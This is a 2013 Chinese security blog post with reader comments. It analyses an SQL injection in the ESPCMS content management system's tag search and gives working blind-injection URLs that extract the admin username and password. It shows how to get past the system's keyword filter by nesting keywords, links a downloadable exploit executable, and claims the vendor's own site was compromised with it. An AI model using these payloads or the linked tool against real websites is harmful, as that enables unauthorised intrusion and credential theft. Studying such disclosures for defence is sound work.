您的位置 » 首页 » 代码审计,实用工具 » 代码审计:Espcms 通杀 SQL注入漏洞分析附EXP+拿下官网

代码审计:Espcms 通杀 SQL注入漏洞分析附EXP+拿下官网

发表于4年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2013年03月10日 | 文章热度:15,593 次 全屏阅读

显示不全请点击全屏阅读

漏洞:Espcms 通杀 SQL注入漏洞分析附EXP

漏洞作者:Seay

博客:www.cnseay.com

转载请保留以上内容

官网介绍:

  易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。

收录85W

漏洞在interface/search.php 文件和interface/3gwap_search.php文件in_taglist()函数都存在,一样的问题,以

interface/search.php为例说明:

 

 

function in_taglist() {
		parent::start_pagetemplate();
		include_once admin_ROOT . 'public/class_pagebotton.php';

		$page = $this->fun->accept('page', 'G');
		$page = isset($page) ? intval($page) : 1;
		$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
		$tagkey = urldecode($this->fun->accept('tagkey', 'R'));
		$tagkey = $this->fun->inputcodetrim($tagkey);

		$db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1';
		if (empty($tagkey)) {
			$linkURL = $_SERVER['HTTP_REFERER'];
			$this->callmessage($this->lng['search_err'], $linkURL, $this->lng['gobackbotton']);
		}
		if (!empty($tagkey)) {
			$db_where.=" AND FIND_IN_SET('$tagkey',tags)";
		}
		$pagemax = 20;

		$pagesylte = 1;

		$templatesDIR = $this->get_templatesdir('article');

		$templatefilename = $lng . '/' . $templatesDIR . '/search';

		$db_table = db_prefix . 'document';
		$countnum = $this->db_numrows($db_table, $db_where);
		if ($countnum > 0) {

			$numpage = ceil($countnum / $pagemax);
		} else {
			$numpage = 1;
		}
		$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,
			color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";
		$this->htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON['file_fileex'], 5, $this->lng['pagebotton'], $this->lng['gopageurl'], $this->CON['is_rewrite']);
		$sql = $this->htmlpage->PageSQL('pid,did', 'down');
		$rs = $this->db->query($sql);
		while ($rsList = $this->db->fetch_assoc($rs)) {

 

由于$tagkey变量使用了urldecode,从而可以绕过GPC,最终

$db_where.=” AND FIND_IN_SET(‘$tagkey’,tags)”;

$tagkey被带入SQL语句。

可以看到下面有

$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";

 

也被带入数据库查询,两条语句可以注入,可以看到第二条SQL语句是可以查询出数据的。但是由于espcms默认配置是不显示SQL语句错误的,而第一条SQL语句查询出来的是count(*),即int

更蛋疼的是只要第一条查询报错,第二条就不会执行。所以只有用第一条盲注来搞了。

漏洞测试EXPhttp://localhost/espcms/index.php?ac=search&at=taglist&tagkey=a%2527

 

由于espcms本身有防注入函数,在文件

public\class_function.php inputcodetrim()函数。

 

function inputcodetrim($str) {
		if (empty($str)) return $str;
		$str = str_replace("&", "&", $str);
		$str = str_replace(">", ">", $str);
		$str = str_replace("&lt;", "<", $str);
		$str = str_replace("&lt;", "<", $str);
		$str = str_ireplace("select", "", $str);
		$str = str_ireplace("join", "", $str);
		$str = str_ireplace("union", "", $str);
		$str = str_ireplace("where", "", $str);
		$str = str_ireplace("insert", "", $str);
		$str = str_ireplace("delete", "", $str);
		$str = str_ireplace("update", "", $str);
		$str = str_ireplace("like", "", $str);
		$str = str_ireplace("drop", "", $str);
		$str = str_ireplace("create", "", $str);
		$str = str_ireplace("modify", "", $str);
		$str = str_ireplace("rename", "", $str);
		$str = str_ireplace("count", "", $str);
		$str = str_ireplace("from", "", $str);
		$str = str_ireplace("group by", "", $str);
		$str = str_ireplace("concat", "", $str);
		$str = str_ireplace("alter", "", $str);
		$str = str_ireplace("ca&#115;", "cast", $str);
		$str = preg_replace("/<span[^>]+>/i", "<span>", $str);
		$str = preg_replace("/<p[^>]+>/i", "<p>", $str);
		$str = preg_replace("/<font[^>]+>/i", "<font>", $str);
		$str = preg_replace("/width=(\'|\")?[\d%]+(\'|\")?/i", "", $str);
		$str = preg_replace("/height=(\'|\")?[\d%]+(\'|\")?/i", "", $str);
		$str = preg_replace("'<style[^\f]*?(\/style>)'si", "", $str);
		return $str;
	}

 

只是把关键字替换为空,例如unionuunionnion绕过本身防注入,还可以无视不拦截单引号的waf

 

猜解用户名长度

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 1=(seselectlect length(username) frfromom espcms_admin_member limit 1) limit 1– by seay

爆破用户名和密码:

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 97=ascii((seselectlect mid(username,1,1) frfromom espcms_admin_member limit 1)) limit 1– by seay

写了个Exp,下载地址:http://pan.baidu.com/share/link?shareid=449478&uk=4045637737

使用方法:espcms_exp_by_Seay.exe www.cnseay.com

即可自动爆出表前缀、用户名、跟密码。

爆出是N个0的是由于老版本没有过滤函数,你们就自己写exp玩吧

 

最终上个官网的图:

 

 

Tags:

espcms漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/2383/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有15个筒子的人留下了脚印...

  • 发哥 说:
    1楼
    2013 年 3 月 10 日 下午 9:41 回复

    后台咋找的 💡

  • M7920 说:
    2楼
    2013 年 3 月 10 日 下午 10:30 回复

  • 齐迹 说:
    3楼
    2013 年 3 月 11 日 上午 9:01 回复

    union可uunionnion绕过 这个不是很明白 可否细说

    • 【管理员】seay 说:
      2013 年 3 月 11 日 上午 10:28 回复

      ununionion 是两个union,把中间的union替换为空,就剩下union了 :smile:

  • 猴子 说:
    4楼
    2013 年 3 月 11 日 上午 11:02 回复

    亲,其实要是我的话,直接用 unio%n 这样会方便些啦~

    • 【管理员】seay 说:
      2013 年 3 月 11 日 上午 11:03 回复

      有限制

  • 淘宝网首页天猫商城女装 说:
    5楼
    2013 年 3 月 11 日 下午 7:58 回复

    说的非常的专业,很不错,我学习了。多谢你的分享。

  • 猴哥 说:
    6楼
    2013 年 3 月 15 日 下午 3:15 回复

    写的Exp,百度网盘下载下来,打开闪一下就关了,不知道怎么回事?

    • 落木纷飞 说:
      2013 年 3 月 15 日 下午 11:12 回复

      Seay字符编码转换工具.exe我下载下来,打开闪一下就关了,是怎么回事啊,求大牛解!

      • 【管理员】seay 说:
        2013 年 3 月 16 日 上午 9:16 回复

        。。。这个不可能 😎 装下.NET环境,2.0及以上都OK

  • 无聊哥 说:
    7楼
    2013 年 3 月 19 日 上午 9:56 回复

    老大你的黑页太个性了 😆 特别是神器 😈

  • joshua 说:
    8楼
    2013 年 5 月 8 日 下午 2:39 回复

    请教一下这条语句为什么执行不好用呢?应当如何使用?

    http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 1=(seselectlect length(username) frfromom espcms_admin_member limit 1) limit 1– by seay

    • 【管理员】seay 说:
      2013 年 5 月 8 日 下午 5:31 回复

      低版本的不能用

  • joshua 说:
    9楼
    2013 年 5 月 9 日 上午 10:08 回复

    搞定了,通过access_log拿到了你的exp的request url,博客上的字符可能有点问题。谢谢博主

    • 【管理员】seay 说:
      2013 年 5 月 9 日 上午 10:56 回复

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)